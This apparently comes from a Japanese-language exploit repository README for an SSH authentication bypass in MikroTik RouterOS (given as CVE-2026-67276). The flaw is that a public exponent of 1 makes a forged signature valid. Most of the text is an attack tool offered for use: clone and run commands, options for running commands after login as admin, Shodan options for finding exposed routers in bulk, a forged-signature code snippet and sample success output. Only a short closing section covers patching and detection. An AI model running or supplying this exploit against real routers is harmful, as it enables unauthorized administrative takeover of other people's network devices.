標準RSA検証:  sig^65537 mod n == 期待値  （秘密鍵が必要）
悪用された検証:     sig^1 mod n == sig           （秘密鍵は不要！）

sig^1 mod n == sig

# リポジトリをクローン
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# 依存関係をインストール
pip install paramiko cryptography

# 基本エクスプロイト - 鍵を自動生成し、バージョンを検出
python3 full_exploit.py --host 192.168.88.1 --username admin

# 認証後にコマンドを実行
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# カスタムポート
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

# 被害者の公開鍵ファイルがある場合
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# またはモジュラスを直接指定
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

# MikroTik以外または不明なバージョンでもエクスプロイトを強制実行
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

--host              ターゲットRouterOSのIP/ホスト名（必須）
--port              SSHポート（デフォルト: 22）
--username          ターゲットRouterOSのユーザー名（必須）
--pubkey            RSA公開鍵ファイル（指定しない場合は自動生成）
--modulus-hex       RSAモジュラス（16進数）（--pubkeyの代替）
--algos             署名アルゴリズム（デフォルト: ssh-rsa,rsa-sha2-256）
--exec              認証後に実行するコマンド
--exp-enc           指数部エンコーディング: canonical（1バイト）または aligned（3バイト）
--timeout           接続タイムアウト（デフォルト: 15.0秒）
--skip-version-check    RouterOSバージョン検証をスキップ
--shodan-dorks      Shodan検索クエリを表示
--shodan-search     Shodan APIでターゲットを検索
--shodan-key        Shodan APIキー
--shodan-query      カスタムShodanクエリ
--shodan-limit      Shodan結果の上限（デフォルト: 100）

python3 full_exploit.py --shodan-dorks

# 基本検索
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# カスタムクエリ
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

string    "ssh-rsa"
mpint     e（公開指数）  <- 攻撃者が e=1 を供給
mpint     n（モジュラス）          <- 被害者の実際のモジュラス

# 「署名」は単にEMSA-PKCS1-v1_5でエンコードされた認証データ
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # e=1の場合、これが有効な署名そのもの

[*] CVE-2026-67276 MikroTrick Exploit
[*] Target: 192.168.88.1:22

[*] Detecting RouterOS version...
[*] SSH Banner: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS Version: 7.23.3
[+] VERSION VULNERABLE - CVE-2026-67276 applies

[*] Generating 2048-bit RSA keypair...
[+] Private key saved: /path/to/exploit_key
[+] Public key saved:  /path/to/exploit_key.pub
[*] Modulus: 2048-bit | forged e=1
[*] Exponent encoding: canonical (01)

[*] Trying rsa-sha2-256 ...
[+] AUTHENTICATED as 'admin' via rsa-sha2-256
[+] CVE-2026-67276 CONFIRMED - target is vulnerable
--- command output ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

# 現在のバージョンを確認
/system resource print

# 修正済みバージョンにアップグレード
/system package update download
/system reboot

/ip service disable ssh

# IPアドレスによる制限
/ip service set ssh address=192.168.88.0/24

# ファイアウォールルール
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

# 不審なユーザーの確認
/user print

# 「ops」ユーザーの確認（既知の攻撃者指標）
/user print where name=ops

# デバイスのフラグ状態の確認
/system/device-mode/print

# ログの確認
/log print where topics~"ssh"